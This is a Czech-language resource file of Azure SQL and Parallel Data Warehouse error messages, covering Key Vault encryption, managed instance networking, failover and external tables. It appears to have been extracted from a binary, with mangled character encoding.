�Nejde vr�tit metriky. Po~adavek by vr�til pY�lia mnoho dat.

�Kl�
 serveru %1!s! u~ existuje. Zvolte pros�m jin� n�zev kl�
e serveru.

�Identifik�tor URI kl�
e serveru %1!s! u~ existuje jako jin� kl�
 serveru.

�Kl�
 serveru %1!s! nejde odstranit, proto~e ho pr�v pou~�v� %2!s!.

�Kl�
 serveru %1!s! neexistuje. Zkontrolujte, ~e je n�zev kl�
e serveru zadan� spr�vn.

LOperaci nejde dokon
it, proto~e pro datab�zi %1!s! na serveru %2!s! prob�h� pYiYazen� c�le slu~by. Po
kejte na dokon
en� pYiYazen� c�le slu~by a zkuste to znovu.

POperace MODIFY FILE selhala. Velikost je vta� ne~ MAXSIZE. Zadejte pros�m dotaz na sys.database_files a pomoc� DBCC SHRINKFILE nejdY�v zmenaete velikost souboru.

�Server %1!s! ve skupin prostYedko %2!s! v pYedplatn�m %3!s! neexistuje.

l Verze aplikace Service Fabric nen� k dispozici.

tPYiYazen� c�le slu~by pro datab�zi %1!s! na serveru %2!s! nejde dokon
it, proto~e datab�ze je pY�lia zanepr�zdnn�. PYed inicializac� dala�ho pYiYazen� c�le slu~by sni~te zat�~en�.

�Operaci nejde na serveru %1!s! dokon
it, proto~e kl�
 slu~by Azure Key Vault %2!s! je zak�zan�.

�Operaci nejde na serveru %1!s! dokon
it, proto~e pokusy o pYipojen� ke slu~b Azure Key Vault %2!s! selhaly.

\Operaci nejde dokon
it, proto~e datum vypraen� platnosti kl�
e slu~by Azure Key Vault %1!s! nen� platn�. Kl�
 slu~by Azure Key Vault nemo~e m�t datum vypraen� platnosti.

�Nejde zah�jit kop�rov�n�, proto~e zdrojov� datab�ze %1!s! se aktualizuje.

�Operaci nejde dokon
it, proto~e identifik�tor URI slu~by Azure Key Vault je null nebo pr�zdn�.

�Operaci nejde dokon
it, proto~e n�zev kl�
e slu~by Azure Key Vault je null nebo pr�zdn�.

�Operaci nejde dokon
it, proto~e n�zev kl�
e %1!s! slu~by Azure Key Vault neexistuje.

Operaci nejde dokon
it, proto~e n�zev kl�
e %1!s! slu~by Azure Key Vault je aktu�ln nastaven� jako ochrana aifrov�n� serveru.

�The server identity is not correctly configured on server '%1!s!'. (https://aka.ms/sqltdebyoksetup)

�Neplatn� odpov ze slu~by Azure Key Vault. Pou~ijte pros�m platn� identifik�tor URI slu~by Azure Key Vault.

XServer %1!s! vy~aduje n�sleduj�c� opr�vnn� slu~by Azure Key Vault: %2!s!. Udlte instan
n�mu objektu s ID %3!s! chybj�c� opr�vnn�. (https://aka.ms/sqltdebyoksetup)

�Operaci nejde dokon
it, proto~e zadan� hodnota ak�lov�n� 
ten� se pro datab�zi %1!s! podporuje.

�Operaci nejde dokon
it, proto~e zadan� hodnota ak�lov�n� 
ten� je neplatn�.

`Vyprael 
asov� limit ~�dosti slu~by. %1!s!.

LEdice serveru %1!s! je neplatn�.

HTyp serveru %1!s! je neplatn�.

xOperaci nejde dokon
it, proto~e %1!s! je neplatn� n�zev kl�
e serveru. Zadejte pros�m n�zev kl�
e ve form�tu trezor_klic_verze. Pokud napY�klad ID kl�
e je https://NazevTrezoru.vault.azure.net/keys/NazevKlice/VerzeKlice, pak by ml m�t n�zev kl�
e serveru n�sleduj�c� form�t: NazevTrezoru_NazevKlice_VerzeKlice.

8Pl�novan� operace pYevzet� slu~eb pYi selh�n� byla vr�cena zpt, proto~e datab�zi %1!s! nejde synchronizovat s jej�m vzd�lenou partnerskou datab�z�. To mo~e b�t zposobeno v�padkem slu~by nebo velk�m provozem se z�pisem. Zva~te, zda nepou~�t vynucen� pYevzet� slu~eb pYi selh�n�.

�Pl�novan� operace pYevzet� slu~eb pYi selh�n� byla vr�cena zpt, proto~e vzd�len� server %1!s! je nedostupn�. To mo~e b�t zposobeno v�padkem slu~by. Zva~te, zda nepou~�t vynucen� pYevzet� slu~eb pYi selh�n�.

�Aktualizace maxim�ln� velikosti na geograficky sekund�rn� datab�zi %1!s! serveru %2!s! selhala z dovodu: %3!s!.

4Operaci nealo dokon
it, proto~e doalo k chyb slu~by Azure Active Directory. Chybov� zpr�va z Active Directory Authentication Library (ADAL): %1!s!.

0Operaci nealo dokon
it, proto~e doalo k chyb pYi pokusu na
�st �daje slu~by Key Vault pro %1!s! ze serveru %2!s!. PY�sluan� chybov� zpr�va: %3!s!.

�Operaci nealo dokon
it, proto~e doalo k chyb slu~by Azure Active Directory. Zkontrolujte, ~e server %1!s! a trezor kl�
o %2!s! patY� ke stejn�mu tenantovi. Chybov� zpr�va z Active Directory Authentication Library: %3!s!.

�Zadan� identifik�tor URI slu~by Key Vault %1!s! nen� platn�. Zkontrolujte, ~e identifik�tor obsahuje �daje o trezoru, kl�
i a verzi kl�
e. PY�klad platn�ho identifik�toru URI: https://NazevTrezoru.vault.azure.net/keys/NazevKlice/VerzeKlice. Zkontrolujte, ~e trezor patY� koncov�mu bodu ze seznamu podporovan�ch koncov�ch bodo. Tento seznam najdete na str�nce %2!s!.

TVytvoYen� datab�ze katalogu selhalo.

�Operaci spr�vy datab�ze %1!s! nejde v sou
asn�m stavu zruait.

�ID prostYedku pods�t %1!s! je neplatn�. Zadejte spr�vn� ID prostYedku pro c�lovou pods�e.

�Pro server %1!s! je povolen� mo~nost LongTermRetentionBackup. PYesun serveru mezi pYedplatn�mi nen� povolen.

�Pro server %1!s! je povolen� mo~nost LongTermRetentionBackup. PYesun serveru mezi skupinami prostYedko nen� povolen.

�Tuto operaci nebylo mo~n� dokon
it, proto~e prob�h� obmna certifik�to pro server %1!s!.

PY�kaz MODIFY MAXSIZE selhal. Pokud chcete zmenait velikost datab�ze, mus� datab�ze nedY�ve z�skat zpt nevyu~it� prostor spuatn�m pY�kazu DBCC SHRINKDATABASE. Bh t�to operace mo~e m�t dopad na v�kon a operace mo~e b~et a~ nkolik hodin. V n�sleduj�c�m 
l�nku najdete podrobnosti o pou~it� T-SQL ke spuatn� pY�kazu DBCC SHRINKDATABASE: https://go.microsoft.com/fwlink/?linkid=852312

�PY�kaz MODIFY MAXSIZE selhal. Po~adovan� velikost datab�ze je mena� ne~ vyu~it� mno~stv� �lo~iat dat.

\VytvoYen� spravovan� instance selhalo. Zadan� pods�e virtu�ln� s�t je um�stn� v oblasti %1!s!, co~ je jin� oblast ne~ ta, ve kter� zYizujete spravovanou instanci (%2!s!). Pokud chcete vytvoYit spravovanou instanci pYipojenou k virtu�ln� s�ti, instance a virtu�ln� s�e mus� b�t ve stejn� oblasti.

�Tento soukrom� cluster je pYidru~en� k TR %1!s!. Zadali jste TR %2!s! jako parametr.

$Tenantsk� okruh %1!s! u~ m� nastavenou kladnou v�hu um�stn� (%2!s!) a nejde ho pou~�t pro soukrom� cluster pro pYedplatn� %3!s!. Zajistte, aby se okruh skute
n nepou~�val, resetujte jeho v�hu zpt na 0 nebo -1 a znovu spusete pY�kaz SignalPrivateTenantRingReady CAS.

l�
et �lo~iat %1!s! je neplatn� nebo neexistuje.

hPYihlaaovac� �daje �
tu �lo~iat nejsou platn�.

�Auditov�n� nen� mo~n� konfigurovat na sekund�rn�ch datab�z�ch.

�Aktualizuj� se nestaven� auditov�n� pro server %1!s!. Po
tejte pros�m na dokon
en� existuj�c� operace.

�OvYen� n�zvu datab�ze selhalo. N�zev datab�ze nen� povolen�, proto~e obsahuje mezery na konci.

�Operaci nejde dokon
it, proto~e prob�h� nasazen� konfigurace aplikace pro aplikaci %1!s!.

4Neplatn� rozsah adres pods�t (%1!s!). Rozsah adres, mus� b�t ve form�tu CIDR (IP/MASKA), kde IP je platn� adresa IPv4 a MASKA je 
�slo mezi 0 a 28.

XOperaci nejde dokon
it, proto~e vypraela platnost certifik�tu objektu zabezpe
en� Azure Key Vault. Chybov� zpr�va z knihovny ovYov�n� Active Directory (ADAL): %1!s!.

Nastaven� automatick�ho ladn� serveru z pYedchoz� ~�dosti se jeat nepropagovala do vaech datab�z�. Opakujte akci za nkolik minut.

tOperaci nejde dokon
it, proto~e datab�ze %1!s! na serveru %2!s! nen� aktu�ln k dispozici. Zkuste to znovu pozdji. Pokud pot�~e potrvaj�, obraete se na oddlen� podpory z�kazn�ko.

�Hodnota vCore (%1!s!) nen� platn�. Zadejte pros�m platnou hodnotu vCore.

�Po
et dn� uchov�n� %1!s! nen� platn� konfigurace. Platn� po
et dn� uchov�n� mus� b�t mezi %2!s! a %3!s!.

�Konfigurace virtu�ln� s�t neplatn�. To nen� povoleno: %1!s!.

�Dan� ID pravidla: %1!s! je neplatn�. Platn� ID pravidel mo~ete naj�t v souboru v�sledko kontroly.

Nejsou nastaveny standardn� hodnoty pro ID pravidla: %1!s!. Nejprve byste mli nastavit standardn� hodnoty pro toto pravidlo.

�Prob�h� posouzen� zabezpe
en� na prostYedku %1!s!. Po
kejte na dokon
en� existuj�c� operace.

|Operaci spr�vy %1!s! nejde v sou
asn�m stavu zruait.%2!s!

�Mo~nost automatick�ho ladn� %1!s! pro po~adovan� prostYedek nebyla nalezena.

�Automatick� ladn� nen� pro SQL Data Warehouse podporov�no.

�Parametr HardwareGeneration %1!s! nen� platn�. Zadejte platnou hodnotu HardwareGeneration.

Hodnota vCore (%1!s!) a HardwareGeneration %2!s! nen� platnou kombinaci. Zadejte platn� hodnoty vCore a HardwareGeneration.

,Spravovanou instanci nejde pYipojit ke klasick� virtu�ln� s�ti. Zadejte virtu�ln� s�e slu~by Azure Resource Manager, ke kter� se chcete pYipojit.

�Zadan� identifik�tor URI slu~by Key Vault %1!s! nen� platn�. Zkontrolujte, jestli byl trezor kl�
o nakonfigurovan� s obnoviteln�m odstrann�m a ochranou pYed vypr�zdnn�m. (https://aka.ms/sqltdebyoksoftdelete)

|geo-redundant-backup nen� pro aktu�ln� edici podporov�no.

phodnota geo-redundant-backup se nemo~e aktualizovat

�Edice %1!s! nen� platn� edice. Edici nen� mo~n� zmnit aktualizac�.

�N�zev skladov� jednotky (SKU) %1!s! nen� platn�. Zadejte platn� n�zev skladov� jednotky.

�Operace 
ten� nebo z�pisu nejsou na �
tu �lo~iat %1!s! povoleny.

L�
et �lo~iat %1!s! je zak�zan�.

�Ochrany aifrov�n� pro vaechny servery propojen� pomoc� GeoDR mus� b�t ve stejn� oblasti jako jejich odpov�daj�c� servery. Nahrajte pros�m kl�
 %1!s! do slu~by Key Vault v oblasti %2!s!, ve kter� je i server %3!s!. (https://aka.ms/sqltdebyokgeodr)

�V odpovdi pro slu~bu Key Vault %1!s! pYidru~enou k serveru %2!s! byla nalezena neo
ek�van� oblast slu~by Key Vault. O
ek�van� oblast: %3!s!, oblast pYijat� v odpovdi: %4!s!. (https://aka.ms/sqltdebyokgeodr)

�Poskytnut� trezor kl�
o %1!s! na serveru %2!s! pou~�v� nepodporovanou velikost kl�
e RSA nebo nepodporovan� typ kl�
e. Podporovan� velikost kl�
e RSA je 2048 a typ kl�
e je RSA a RSA-HSM.

�Neplatn� generace hardwaru. Nen� povoleno m�t sou
asn Gen4 i Gen5.

C�lov� pods�e m� pYidru~enou skupinu zabezpe
en� s�t (NSG). Odeberte %1!s!. (https://go.microsoft.com/fwlink/?linkid=871071)

C�lov� pods�e nem� ~�dnou pYidru~enou smrovac� tabulku. PYidru~te smrovac� tabulku k jedin� u~ivatelem definovan� trase (UDR): N�zev: v�choz�, PYedpona adresy: 0.0.0.0/0, Typ dala�ho segmentu smrov�n�: Internet. (https://go.microsoft.com/fwlink/?linkid=871071)

DC�lov� pods�e m� pYidru~enou smrovac� tabulku s neplatnou konfigurac� %1!s!. PYidru~te smrovac� tabulku k jedin� u~ivatelem definovan� trase (UDR): N�zev: v�choz�, PYedpona adresy: 0.0.0.0/0, Typ dala�ho segmentu smrov�n�: Internet. (https://go.microsoft.com/fwlink/?linkid=871071)

�Neplatn� konfigurace virtu�ln� s�t %1!s!. PYidejte virtu�ln� IP adresu rekurzivn�ho pYeklada
e Azure 168.63.129.16 na konec vlastn�ho seznamu DNS: %2!s!. (https://go.microsoft.com/fwlink/?linkid=871071)

XKoncov� bod slu~by SQL aktu�ln nen� u spravovan� instance povolen. Odeberte z instance %1!s! koncov� bod slu~by SQL. (https://go.microsoft.com/fwlink/?linkid=871071)

4C�lov� pods�e nen� pr�zdn�. Odeberte vaechny prostYedky z %1!s! nebo pou~ijte jinou pr�zdnou pods�e. (https://go.microsoft.com/fwlink/?linkid=871071)

�Virtu�ln� s�e pro c�lovou pods�e je uzam
en�. Odeberte z�mek z %1!s!. (https://go.microsoft.com/fwlink/?linkid=871071)

 Pods�e br�ny nejde pou~�t k nasazen� spravovan� instance. Pou~ijte jinou pr�zdnou pods�e. (https://go.microsoft.com/fwlink/?linkid=871071)

�C�lov� pods�e %1!s! neexistuje. Pou~ijte jinou pr�zdnou pods�e. (https://go.microsoft.com/fwlink/?linkid=871071)

XNasazen� spravovan� instance se nepovedlo z dovodu konfliktu s n�sleduj�c�mi po~adavky s�t: %1!s!. Informace o po~adavc�ch s�t a jejich nastaven� najdete na str�nk�ch (https://go.microsoft.com/fwlink/?linkid=871071). Dala� podrobnosti o t�to chyb najdete v protokolu aktivity virtu�ln� s�t.

�Zadan� edice %1!s! nen� konzistentn� se zadanou skladovou polo~kou %2!s!.

TZadan� typ licence %1!s! nen� platn�.

Neplatn� velikost �lo~iat: %1!s! GB. Velikost �lo~iat mus� b�t zadan� v rozmez� mezi %2!s! a %3!s! GB v pY�rostc�ch po %4!s! GB.

�Stavn� kruhu %1!s! nem� ~�dnou podporu pro mal� role virtu�ln�ch po
�ta
o, role: %2!s!.

pStavn� kruhu %1!s! nepodporuje v�ce rol� datab�ze.

<Operaci nealo dokon
it, proto~e pro spravovanou instanci %1!s! prob�h� zmna �rovn slu~eb. Po
kejte na dokon
en� prob�haj�c� operace a zkuste to znovu.

�Operace selhala, proto~e nemohly b�t dokon
eny bezpe
nostn� kontroly SLO aktualizace. Podrobnosti: %1!s!.

(Operace selhala, proto~e v instanci SQL byla nalezena dlouho b~�c� transakce. Po
kejte, a~ se prov�dn� transakce dokon
�, a zkuste to znovu.

�ZYizov�n� z�nov redundantn� datab�ze nebo fondu nen� pro aktu�ln� ~�dost podporov�no.

dOperaci vyprael 
asov� limit a selhala: %1!s!

LProstYedek nebyl nalezen: %1!s!.

�Poskytovatel s�eov�ch prostYedko vr�til n�sleduj�c� chybu: %1!s!.

|Poskytovatel s�eov�ch prostYedko odepYel pY�stup: %1!s!.

dPravidla firewallu virtu�ln� s�t nejsou aktu�ln podporov�na na serverech s nakonfigurovan�mi skupinami pYevzet� slu~eb pYi selh�n� se z�sadami automatick�ho pYevzet� slu~eb pYi selh�n�. Nakonfigurujte tmto skupin�m pYevzet� slu~eb pYi selh�n� na serveru z�sady ru
n�ho pYevzet� slu~eb pYi selh�n�.

�Skupiny pYevzet� slu~eb pYi selh�n� skupiny s nakonfigurovan�mi z�sadami automatick�ho pYevzet� slu~eb pYi selh�n� nejsou aktu�ln podporov�ny na serverech nakonfigurovan�ch s pravidly firewallu virtu�ln� s�t. Nakonfigurujte skupin�m pYevzet� slu~eb pYi selh�n� skupiny z�sady ru
n�ho pYevzet� slu~eb pYi selh�n�.

xJe povolen pouze jeden profil koncov�ho bodu rozhran�.

tKolaci instance na spravovan� instanci nejde zmnit.

pVytvoYen� sekund�rn�ho prvku sekund�rn�ho prvku (proces zn�m� jako zYetzen�) nen� podporov�no, kdy~ je povoleno transparentn� aifrov�n� dat pomoc� slu~by Azure Key Vault (BYOK).

�Spravovanou instanci s kolac� %1!s! nejde vytvoYit. Pou~ijte m�sto n� kolaci SQL_Latin1_General_CP1_CI_AS.

�Je nutn� zadat cestu ke kontejneru �lo~iat posouzen� ohro~en� zabezpe
en�

\Operace se nepovedla, proto~e instance SQL mla vysok� vyu~it� procesoru (%1!s! %%). Aktu�ln� prahov� hodnota je %2!s! %%. Po
kejte na sn�~en� vyu~it� a zkuste to znovu.

|Operace se nepovedla, proto~e instance SQL mla vysokou frekvenci z�piso do protokolu (%1!s! %%). Aktu�ln� prahov� hodnota je %2!s! %%. Po
kejte na sn�~en� frekvence a zkuste to znovu.

�Operace selhala, proto~e nemohly b�t dokon
eny bezpe
nostn� kontroly elastick�ho fondu. Podrobnosti: %1!s!.

0Operace selhala, proto~e v elastick�m fondu byla nalezena dlouho b~�c� transakce. Po
kejte, a~ se prov�dn� transakce dokon
�, a zkuste to znovu.

TOperace selhala, proto~e elastick� fond ml vysok� vyu~it� procesoru (%1!s! %%). Aktu�ln� prahov� hodnota je %2!s! %%. Po
kejte na sn�~en� vyu~it� a zkuste to znovu.

tOperace selhala, proto~e elastick� fond ml vysokou frekvenci z�piso do protokolu (%1!s! %%). Aktu�ln� prahov� hodnota je %2!s! %%. Po
kejte na sn�~en� frekvence a zkuste to znovu.

�Operaci nealo dokon
it, proto~e prob�h� operace %1!s!. Po
kejte na dokon
en� prob�haj�c� operace a zkuste to znovu.

XOperaci nealo dokon
it, proto~e celkov� pYidlen� velikost �lo~iat pro instanci obecn�ch �
elo by pYekro
ila %1!s!. Sni~te po
et souboro datab�ze a opakujte operaci.

�Operaci nealo dokon
it, proto~e instance m� nakonfigurovanou geograficky replikovanou sekund�rn� instanci.

�Generace hardwaru zdroje je %1!s!, zat�mco generace c�le obnoven� k ur
it�mu bodu v 
ase je %2!s!.

�Operace selhala, proto~e se pokoua�te nasadit spravovanou instanci jako sekund�rn� instanci geografick� replikace do pods�t %1!s!, ve kter�m u~ spravovan� instance existuje. Nasazen� spravovan� instance jako sekund�rn� instance geografick� replikace je podporov�no jenom v pY�padech, kdy spravovan� instance je prvn� instance nasazen� v pods�ti. Mo~ete bu nasadit spravovanou instanci jako sekund�rn� instanci geografick� replikace do jin� pods�t, ve kter� zat�m ~�dn� spravovan� instance nejsou, nebo ji nasadit do pods�t s u~ existuj�c� spravovanou instanc�, ale zak�zat mo~nost geografick� replikace.

�Operace selhala, proto~e byla spuatna pro datab�zi s vlastn�m oknem �dr~by. To je ve v�choz�m nastaven� zak�z�no. Zkuste to znovu s pYep�na
em, kter� zakazuje tuto kontrolu, kdy~ je tYeba aktualizovat instanci.

DOperace selhala, proto~e byla spuatna pro datab�zi s vlastn�m oknem �dr~by mimo jej� okno �dr~by. Zkuste to znovu v r�mci dala�ho okna �dr~by (%1!s! %2!s!).

 Operace selhala, proto~e byla spuatna pro datab�zi bhem v�choz� pracovn� doby v oblasti (%1!s! %2!s!). Zopakujte akci po jej�m skon
en�.

@Neplatn� velikost �lo~iat: Limit velikosti �lo~iat (%1!s! GB) je mena� ne~ aktu�ln� vyu~it� �lo~iat (%2!s! GB). Zadejte vyaa� limit velikosti �lo~iat.

�Zadan� rodina %1!s! nen� konzistentn� se zadanou skladovou polo~kou %2!s!.

�Bod v 
ase %1!s! pro obnoven� nemo~e b�t pozdja� ne~ nyn�.

Operaci nejde dokon
it. Po~adovan� aktualizace SKU by zposobila, ~e by ml hlavn� server vyaa� hodnotu max_connections ne~ jeho repliky.

Operaci nejde dokon
it. Po~adovan� aktualizace �lo~iat by zposobila, ~e by ml hlavn� server vyaa� velikost �lo~iat ne~ jeho repliky.

�Operaci nejde dokon
it. Replikace nen� u serveru povolena.

lasov� p�smo ve spravovan� instanci nejde zmnit.

�Spravovanou instanci s 
asov�m p�smem %1!s! nejde vytvoYit. Pou~ijte m�sto toho 
asov� p�smo UTC.

�Spravovanou instanci nejde vytvoYit, proto~e ve vybran� pods�ti nen� dostatek dostupn�ch IP adres.

tOvYen� obnoven� elastick�ho serveru se nepodporuje.

\Operace selhala, proto~e po~adovan� re~im aktualizace %1!s! se neshoduje s vybran�m (%2!s!). Zkuste to znovu pozdji nebo pou~ijte jinou specifikaci re~imu aktualizace.

`Automatick� rost �lo~iat nen� podporov�n.

|ZYizov�n� z�nov redundantn�ho serveru nen� podporov�no.

�Automatick� rost �lo~iat nen� podporov�n pro prim�rn� servery a servery repliky.

�Geograficky redundantn� z�lohov�n� nen� pro z�nov redundantn� server podporov�no.

�Datab�zi nejde pozastavit, proto~e to nen� na datab�zi %1!s! podporov�no.

Datab�zi s funkc� %1!s! nejde pozastavit. Operace selhala pro logick� server %2!s!, datab�zi %3!s!, ServiceLevelObjective %4!s!.

�Datab�ze je u~ pozastaven�. Server %1!s!, datab�ze %2!s!, doba pozastaven� %3!s!.

�Datab�ze u~ byla zase spuatna. Server %1!s!, datab�ze %2!s!.

�Datab�zov� operace selhala, proto~e datab�ze je pozastaven�. Server %1!s!, datab�ze %2!s!

�Datab�zov� operace selhala, proto~e datab�ze je pozastaven�. Server %1!s!, datab�ze %2!s!

�Operace selhala, proto~e nen� podporovan� na zak�zan� datab�zi. Server %1!s!, datab�ze %2!s!

Operace selhala, proto~e nen� podporovan� na geograficky replikovan� datab�zi. Server %1!s!, datab�ze %2!s!, ServiceLevelObjective %3!s!

�Po~adavek selhal z dovodu prob�haj�c� operace %1!s!. Server %2!s!, datab�ze %3!s!.

�Po~adavek selhal z dovodu prob�haj�c� migrace na serveru %1!s!, datab�zi %2!s!.

�Zvolen� pods�e je delegovan� a nejde ji pou~it k nasazen� spravovan� instance. Odeberte z pods�t delegov�n�.

�Extern� tabulka odkazuje na polo~ku %1!s!, kter� neexistuje.

LTyp s n�zvem %1!s! ji~ existuje.

PForm�t mo~nosti %1!s! nen� platn�.

�Extern� mo~nost %1!s! nen� platn�. Zkontrolujte jej� d�lku a rozsah.

`Chyb� po~adovan� extern� mo~nost DDL %1!s!.

pPro polo~ku %1!s! je ur
en� neplatn� sada mo~nost�.

TU extern�ch tabulek nejde pou~�t DML.

hNespr�vn� syntaxe u extern� mo~nosti DDL %1!s!.

�Pro zdroj dat HADOOP je potYeba ur
it mo~nost FILE_FORMAT.

�Pro zdroj dat rela
n�ho datab�zov�ho syst�mu nejde ur
it mo~nost FILE_FORMAT.

lPolo~ka EXTERNAL %1!s! s ID %2!s! se ned� naj�t.

`%1!s! nejde pou~�vat se zdrojem dat %2!s!.

�V pY�pad pou~�v�n� distribuce SHARDED mus� b�t zadan� n�zev sloupce horizont�ln�ho dlen�.

�PYi pou~�v�n� zdroje dat SHARD_MAP_MANGER mus� b�t zadan� mo~nost DISTRIBUTION.

�Zadan� n�zev sloupce horizont�ln�ho dlen� neodpov�d� ~�dn�mu sloupci v definici extern� tabulky.

�Zadan� pYihlaaovac� �daje se nepovedlo naj�t nebo u~ivatel nem� opr�vnn� prov�st tuto akci.

tChyba anal�zy k�du XML pYi deserializaci metadat PDW

T%1!s! %2!s! nen� u %3!s! podporovan�.

H%1!s! se nepodporuje s: %2!s!.

pExtern� pY�kaz DDL obsahoval nerozpoznanou mo~nost.

HDotazy na extern� tabulky nejsou s aktu�ln� �rovn� slu~eb nebo v�konu u t�to datab�ze podporovan�. Doporu
ujeme pro datab�zi �roveH slu~eb nebo v�konu zv�ait.

pPYi pou~it� OBJECT_NAME se mus� zadat SCHEMA_NAME.

pPYi pou~it� SCHEMA_NAME se mus� zadat OBJECT_NAME.

xExtern� tabulky se u typu zdroje dat %1!s! nepodporuj�.

tOperace %1!s! se u typu zdroje dat %2!s! nepodporuje.

�Zmna vlastnosti %1!s! nen� pro extern� zdroj dat typu %2!s! povolen�.

�Distribuce SHARDED DISTRIBUTION je povolena pouze pro zdroj dat SHARD_MAP_MANGER.

�Povolen� celo
�seln� hodnoty FIRST_ROW jsou od 1 do 101 (v
etn)

hExtern� zdroje dat se u typu %1!s! nepodporuj�.

 Podpora extern�ch zdrojo dat typu HADOOP nen� povolena. Pokud ji chcete povolit, nastavte mo~nosti pYipojen� hadoop na po~adovanou hodnotu.

�Procedura sp_rename nen� u extern� tabulky datov�ho fondu podporov�na.

pBhem distribuovan� operace doalo k vnitYn� chyb.

�V seznamu jsou povoleny maxim�ln tYi hodnoty NULL_VALUES.

xNejde na
�st tajn� k�d [%1!s!] z �lo~iat tajn�ch k�do.

�Nejde zpracovat tajn� k�d [%1!s!] z �lo~iat tajn�ch k�do.

�Doalo k neo
ek�van� intern� chyb, nepovedlo se komunikovat se slu~bou kontroleru, HRESULT 0x%1!s!.

�Byla pYijata neo
ek�van� vnitYn� chyba z k�du chyby slu~by kontroleru [%1!s!].

�V�raz %1!s! selhal. Typ distribuce %2!s! vy~aduje alespoH jeden dlic� sloupec.

�V�raz %1!s! selhal. Dlic� sloupce se daj� zadat jenom v pY�pad, ~e typ distribuce je %2!s!.

 V�raz %1!s! selhal. N�zev sloupce %2!s! zadan� v mo~nosti %3!s! se neshoduje s ~�dn�mi sloupci specifikovan�mi v definici extern� tabulky.

�PY�kaz %1!s! selhal. PYi prov�dn� pY�kazu doalo k jedn� nebo v�ce chyb�m. %2!s!

�PY�kaz %1!s! selhal. Zadali jste neplatn� identifik�tor URI.

�VytvoYen� extern�ho zdroje dat pYes datov� fondy nen� v syst�mov� datab�zi podporov�no.

 REJECT_TYPE

 FILE_FORMAT

$REJECT_VALUE

0REJECT_SAMPLE_VALUE

LOCATION

 DATA_SOURCE

PROCENTO

(ROW_TERMINATOR

,DATA_COMPRESSION

$SERDE_METHOD

ENCODING

,STRING_DELIMITER

 DATE_FORMAT

,FIELD_TERMINATOR

 FORMAT_TYPE

4JOB_TRACKER_LOCATION

(EXTERNAL TABLE

HADOOP

RDBMS

,SHARD_MAP_MANGER

4SHARDING_COLUMN_NAME

$DISTRIBUTION

$DATABASE_NAME

(SHARD_MAP_NAME

 CREDENTIAL

0REMOTE_SCHEMA_NAME

0REMOTE_OBJECT_NAME

$SHARED_MEMORY

EXTRAKTOR

(extern� tabulky

dextern� tabulky pro horizont�ln dlen� data

4Archiv vzd�len�ch dat

 poskytnut�

sekundy

minuty

hodiny

dny

t�dny

ms�ce

roky

XpYihlaaovac� �daje s rozsahem datab�ze

<pozice zam�tnut�ch Y�dko

0CONNECTION_OPTIONS

PUSHDOWN

GENERIC

$BLOB_STORAGE

GENERIC

4CREATE EXTERNAL TABLE

HASH

PARTITION

0DROP EXTERNAL TABLE

8TRUNCATE EXTERNAL TABLE

(ALTER DATABASE

$DROP DATABASE

�Funkce Ozn�men� dotazo nen� implementovan� funkce pro koncov� bod SQL Server Parallel DataWarehousing TDS.

�Funkce Vzd�len� ~�dosti RPC nen� implementovan� funkce pro koncov� bod SQL Server Parallel DataWarehousing TDS.

�Chyba pYevodu pYi pokusu o pYevod mezi parametrem objektu blob IPC.

Podpora sloupco rozs�hl�ch objekto na serveru SQL Server Parallel DataWarehouse je omezen� jenom na datov� typ nvarchar(max).

�PYi analyzov�n� ~�dosti RPC se naael nepodporovan� typ parametru. }�dost se ukon
ila.

�Podpora kurzoru nen� implementovan� funkce pro koncov� bod SQL Server Parallel DataWarehousing TDS.

�Dan� ~�dost IPC s k�dem %1!s! nen� pro koncov� bod SQL Server Parallel DataWarehousing TDS podporovan�.

�Funkce Podpora v�choz�ch parametro nen� implementovanou funkc� pro koncov� bod SQL Server Parallel DataWarehousing TDS.

�Zjistila se nepodporovan� ~�dost spr�vce transakc� %1!s!. Koncov� bod SQL Server Parallel DataWarehousing TDS pro operace begin/commit/rollback podporuje jenom ~�dosti o m�stn� transakce.

pNa koncov�m bodu SQL Server Parallel DataWarehousing TDS se zjistil nepodporovan� paket ~�dosti protokolu TDS typu %1!s!. Podporovan� jsou jenom ~�dosti batch, rpc a transaction.

�PYi zpracov�v�n� ~�dosti doalo k neo
ek�van� chyb. PYipojen� se ukon
�.

�Funkce Integrovan� ovYov�n� nen� implementovanou funkc� pro koncov� bod SQL Server Parallel DataWarehousing TDS.

�Funkce PYipojen� datab�zov�ho souboru nen� implementovan� funkce pro koncov� bod SQL Server Parallel DataWarehousing TDS.

(PYihl�aen� jm�nem u~ivatele replikace nebo jm�nem vzd�len�ho u~ivatele nen� podporovan� koncov�m bodem SQL Server Parallel DataWarehousing TDS.

�Koncov� bod SQL Server Parallel DataWarehousing TDS podporuje jedin jazyk us_english a English.

$Pokus o resetov�n� pYipojen� se zachov�n�m transakce se nepovedl, proto~e pY�choz� po~adavek nebyl po~adavek na potvrzen� / vr�cen� zpt. K t�to chyb mo~e doj�t v pY�pad, ~e se pou~�v� v�c ne~ jeden objekt SqlConnection v r�mci oboru System.Transactions.Transaction.

�Paraleln� prov�dn� dotazo nen� pro stejn� pYipojen� podporovan�.

�PYihl�aen� selhalo. PYihl�aen� probhlo z nedovryhodn� dom�ny a nejde ho pou~�t pro integrovan� ovYov�n�.

\Verze ovlada
e klienta nen� podporovan�.

�Sloupec LOB v glob�ln�m dotazu se nepodporuje pro jin� typy ne~ Nvarchar(MAX), Varchar(MAX), Varbinary(MAX) a Image.

�PYi operaci hromadn�ho kop�rov�n� doalo k chyb komunikace.

0Operace GlobalQuery

dNepovedlo se zav�st modul pro glob�ln� dotaz.

�Nepovedlo se naj�t vstupn� bod pro modul glob�ln�ch dotazo.

tNepovedlo se inicializovat modul pro glob�ln� dotaz.

hChyba pYevodu pYi vytv�Yen� ~�dosti GlobalQuery

xPYi prov�dn� operace GlobalQuery doalo k chyb: %1!s!

�PYi prov�dn� operace GlobalQuery doalo k poruaen� pravidel pY�stupu. Prov�dn� se zruailo.

�Nepovedlo se naj�t polo~ku odpov�daj�c� dan� ~�dosti glob�ln�ho dotazu. Prov�dn� se zruailo.

�PYi pokusu o proveden� ~�dosti glob�ln�ho dotazu doalo k chyb. K�d chyby: %1!s!, z�va~nost: %2!s!, stav: %3!s!.

�PYi prov�dn� operace GlobalQuery doalo k nezpracovan� v�jimce. Prov�dn� se zruailo.

�PYi prov�dn� operace GlobalQuery doalo k neo
ek�van� chyb s k�dem 0x%1!s!.

%1!s!

%1!s!

%1!s!

%1!s!

%1!s!

%1!s!

%1!s!

%1!s!

%1!s!

%1!s!

%1!s!

%1!s!

%1!s!

%1!s!

hProcedura %1!s! nepodporuje v�stupn� parametry.

